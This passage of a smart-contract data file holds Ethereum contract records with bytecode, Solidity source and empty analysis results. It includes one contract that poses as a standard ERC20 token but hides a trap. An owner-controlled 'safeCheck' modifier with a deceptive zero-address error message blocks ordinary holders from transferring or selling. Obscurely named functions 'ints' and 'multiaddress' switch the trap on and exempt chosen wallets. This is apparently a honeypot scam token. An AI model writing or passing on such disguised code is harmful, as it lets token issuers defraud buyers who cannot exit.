} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600581526020017f534855424800000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a63773594000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f534855424800000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220c4ecfe8a6860d5f3d181fe91f439103cc027ca17594117a549046a4acfed5ce364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,683 |
0xb4f5d9380ef79e45667f0142643c596dbee0825c | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _PCC(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116e660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d9092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ed90919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117576025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d9092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117336024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061169e6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156110885750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111045750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611111575060095481115b1561126957600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806111bf5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112135750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061170e6025913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156112ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061170e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061167b6023913960400191505060405180910390fd5b611380868686611675565b6113eb846040518060600160405280602681526020016116c0602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ed90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b60008383111582906115da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561159f578082015181840152602081019050611584565b50505050905090810190601f1680156115cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561166b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e920cf79ee38efe0a29644be391a8644a4d460f136350b9348f3fb68f5f2d1e964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,684 |
0xf9cc249a661c45f6d8fec7dc4dc5d07e3e5bb9b4 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
